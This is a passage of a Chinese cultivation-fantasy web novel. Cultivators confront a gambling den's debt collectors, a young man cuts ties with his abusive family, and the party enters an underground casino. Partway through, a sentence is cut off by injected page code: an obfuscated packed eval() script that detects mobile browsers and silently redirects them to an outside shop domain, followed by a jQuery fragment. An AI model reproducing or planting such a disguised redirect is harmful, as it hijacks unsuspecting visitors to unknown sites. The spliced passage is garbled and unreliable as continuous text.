男人所拜访的场子并未得到官府盖章,位置隐秘,且除了被场子认可的“导引”,其余人不论带客进场。
如此下来,如何钱不过男人手还上这钱成了一个问题。
周长海几番恐吓下,男人才道出客人欠钱并消失两周,场子会派人进家将仍能卖钱的东西悉数带走。
话音刚落,花朝衣故作走神抚摸阿瘦,其余三人交换眼神敲定了主意。
夜轻尘将决定、计划与丁东风的决心告知丁吹雨。
一向没心没肺的丁吹雨听完站立在湖边久久未动。
这是她与丁东风第一次正式相认的地方,那天刚刚下完一场大雨,空气黏稠沉重,泥土的腥香萦绕在鼻尖,芦苇草随风摇摆,湖中时不时荡起水波。
二十三年过去,她还是她,丁东风却不再是丁东风。
丁吹雨在丁东风的羽翼下保留了孩子的天性与玩心,自信张扬、落落大方。
而那个誓要闯出一番事业,自成东风的男孩,却在拳头与殴打中磨平了傲气,变得怯懦、怕人。
湖水浑浊,芦苇丛此起彼伏,金黄的叶边拍打出区别与绿的海浪。
丁东风默不作声抗下一切痛苦,当要算账过去时,她并不认为自己有资格左右他的决定。
苦是他吃的,爱是她享的。
他要一刀两断,她不可也不愿干涉。
“待斩断前缘,你我回到万山门,再叫他将我唤出吧,”小龙卷滚动于湖面下,发丝划过脸颊,丁吹雨一握拳,龙卷在水底爆开。
不远处,凉亭下。
花朝衣一句酥油饼就将周长海支开,她托起半边脸,将丁吹雨面上的心疼收入眼底。
阿瘦掀起披风袖口,百足并用,攀上花朝衣的手指,上身左右摇摆。
花朝衣笑了,“做什么?这件事不是用暴力能解决的。”
“我们想解决的从来不是吹雨或东风与家中的关系,而是他们心中的包袱。”
十四日后,午时,毒日高悬。
男人与妇女坐立不安地揪着衣服候在土屋内,眼睛直勾勾地盯着门口。
房中阴凉晦暗,屋外金光铺地,于室外草草一看,双眼难以捕捉土屋下潜藏的周长海与夜轻尘。
两名地下场的打手一脚踹开庭院的木门,老旧脆弱的木门登时四分五裂,不少木屑甚至飞进菜圃。
两人扭腰踏脚步入庭院,手中屠刀扛起背上,浑浊的眼珠抓住男人,偏头吐出一口浓痰,狂笑两声,走近屋内。
“丁仁忠,是吧?老大喊我们来收钱!钱呢!”
打手甩手将背上砍刀拔出,顺势挥向屋柱。
屋柱被砍的瞬间,整座屋子仿佛随之摇摆,妇女被惊得一缩,不安地频频看向夜轻尘。
另一打手盯着桌边的妇女,膘肥的脸上闪过一丝不明的神情,“丁仁忠,你今天是交钱,还是交出所剩不多的手指?”
“今天……”
“警告你!”打手不耐烦地打断,“别想使诈,否则交的就不是钱、断的也不是手指了!”
丁仁忠额间冒出冷汗,眼神飘忽,艰难地咽下一口唾沫,“不耍……不耍,我也是老客户了,你们也知道……我们对彼此这么了解了……”
老客户?周长海愤愤地瞪着丁仁忠,呼吸变得粗重。
“什么声音?!”一打手察觉动静,顿时瞪大双眼,握紧大刀跨进屋。
皮革滚动沙砾的摩擦声从身后传来,另一打手猛回头,五月乍然撑起身子,跳起缠上打手大腿,亮出獠牙,在他腹部留下两个血窟窿。
“啊!妈的!死畜生!”他举起屠刀,朝无月砍去,无月察觉进攻迅速向上攀爬,这一刀结结实实地挨在了打手自己腿上,“啊啊啊!”
“蠢货!”另一打手爆了粗口,冲进屋内,“看来今天除了手指,你还想留下小命!”
“想留下小命的是你!”周长海自黑暗闪出,凝聚灵力的拳头伴随呼啸的风声一拳招呼在打手脸上,打手半身腾空,眼珠一翻,失了意识,几颗白牙翻滚落地,殷红的血液在口中喷涌而出。
彪壮肥大的两名壮汉,一人失了一腿又被蛇毒麻痹,另一人不省人事躺地,嘴边流淌血迹。
周长海用麻绳捆起两人,朝屋外拖去。
门口,夜轻尘逆光而立,蹲下伸手,无月顺势绕上,他眉目无情,眼中仿佛只有一汪永无涟漪的冰谭,“我们会在这二人的指引下找到你的直接债主,为你还清债款,这次的任务便结束了。”
“不论是丁东风,还是丁吹雨,与二位都不再有任何亲缘关系。”
“毕竟他已经死了啊。”
忽略女人爆发的大哭,夜轻尘下压嘴角,转身离开,“日后,两位好自为之。纵使东风或吹雨,孩子都只能死一次,死不了第二次。”
秋芸湖湖中的凉亭内,楼梯仅连通两层,第三层的设计原只为美观,奈何修士各个轻功卓绝。
“东风哥哥,我们要不要回去接哥哥和长海哥哥呀?”花朝衣扮作不知情况的模样,语气轻快,望着丁东风背影的眼神却漆黑深沉。
燕子羽翼划过蓝天,横穿凉亭三层,丁东风眺望旭日,闻言垂下眼帘。
“不去了,哥哥们一会儿就来,衣儿暂且稍候。”他闭眼呼吸,最后一次感受与家的连接。
丁东风要死了,死在他父母发出的死亡调查任务完成的一刻。
从此,世界再无丁东风,只有东风。
“走吧,他们在等我们。”东风回眸,看向那个变傻也有人爱的少女,他曾经多么羡慕花朝衣,如今也释然了。
瞳孔聚焦一瞬,花朝衣思索的神情尚未收起,直直与东风视线相交。
她一愣,呼吸停了半刻,慌张起身,“走吧,走吧,东风哥哥。”
说罢,脚尖一点,跳离凉亭,衣袂翩翩,发丝舞动。
东风微微蹙起眉头,渺茫的念头一闪而过,他摇摇头,强迫自己不去深想,翻身跳下凉亭。
夜轻尘在两位打手脑门施下真语咒,得出那地下赌坊的具体位置。
眼下官府搜查正严,赌坊也收紧了揽客标准。
所幸打手们皆为赌坊背后东家的心腹,夜轻尘在二人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974787|214734||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身内养下傀儡蛊,命二人带四人前往赌坊。
就朝中律法而言,开设赌坊并不违规,此店全然没有躲躲藏藏的道理。
事出反常必有妖,这赌坊,决然不是普通的赌坊。
夜轻尘眼色一暗,转头看向把玩阿瘦的花朝衣。
阿瘦是师傅的蛊虫,本事他也有目共睹,可奈何心中担忧放心不下,纠结再三,他凑近花朝衣耳边轻唤,“衣儿。”
“哥哥,”花朝衣抬头,冲夜轻尘傻笑。
夜轻尘的手搭上花朝衣的手背,无月试探地从夜轻尘手臂缠绕花朝衣手腕,“衣儿,一会儿若遇到不讲理的人,谈判不顺利,定然免不了一场恶战。我想让无月跟着你,保护你。”
无月吐吐蛇信,按夜轻尘教导的那般歪头,亮晶晶的眼睛乖巧地瞧着花朝衣。
“好呀,”花朝衣双手捧起无月,咯咯笑了。
四人在路边小店买了一身布衣,跟着打手走入一处破败小巷。
小巷人烟稀少,黄沙飞扬,路边饭馆酒肆的木椅木桌上灰尘堆起,蛛网遍布。
两栋已关闭的店铺间隐藏一条狭小过道,打手率先走入黑暗,走至中段时,举起双手在墙上摸索,“咔咔”两声,漆黑的墙面泄出光亮。
挤入窄小的门缝,不过两步的功夫,杳无人烟的破败小巷眨眼间化为雕梁画栋的地下场所。
墙壁复原,楼梯门开,打手们带着四人踩着咯吱响的楼梯向下。
整座地下赌坊共有三层,入口处为一层。
向下每一层对应不同玩法。赌客等级各异,所拥有的权限各不相同。
白日下赌坊内的赌客人数不多,惊呼与哀嚎不留空隙地填满赌坊每个角落。
夜轻尘屈起双指,回收真语咒,操控打手体内的傀儡蛊,利用二人权限,一路来到地下赌坊负三层。
“那虫要自立门户?”周长海瞧打手已经带四人在此层环走一圈,心下奇怪,夜轻尘的蛊虫如今在万山门也是排得上号的存在,怎会关键时刻不管用?
打手漫无目的地在三层四处游荡,夜轻尘也觉奇怪,伸手调动蛊虫,耳边听闻少女尖叫,再回首,花朝衣与丁东风不知所踪,只留同样闻声回首的周长海在附近。
无论如何催动灵力,都无法与无月达成连接,夜轻尘手背青筋乍起,手掌一璇,银幽剑尘封多年,终是出鞘。
“这么嚣张吗?!”周长海瞪大双眼,好歹还在人家地盘上呢!
“掘地三尺,找回二人。”
说罢,举剑掐诀,银龙破空。
……
“兄长!”
“衣儿?你们怎么在这?”
花朝衣讪讪一笑。
方才在赌坊三层,袖中无月与阿瘦不知为何起了争执,她忙着安抚,忽地脚下一空,下意识拉住身边物什,哪料竟一把抓住东风胳膊,两人一同滚进草笼。
炼气期的修士即可夜视,此处无火无灯,半封闭的屋内堆满了大型草屋。
来不及疑惑此地,花朝衣与东风感受到极强的灵压,下一刻便听见花朝行的提问。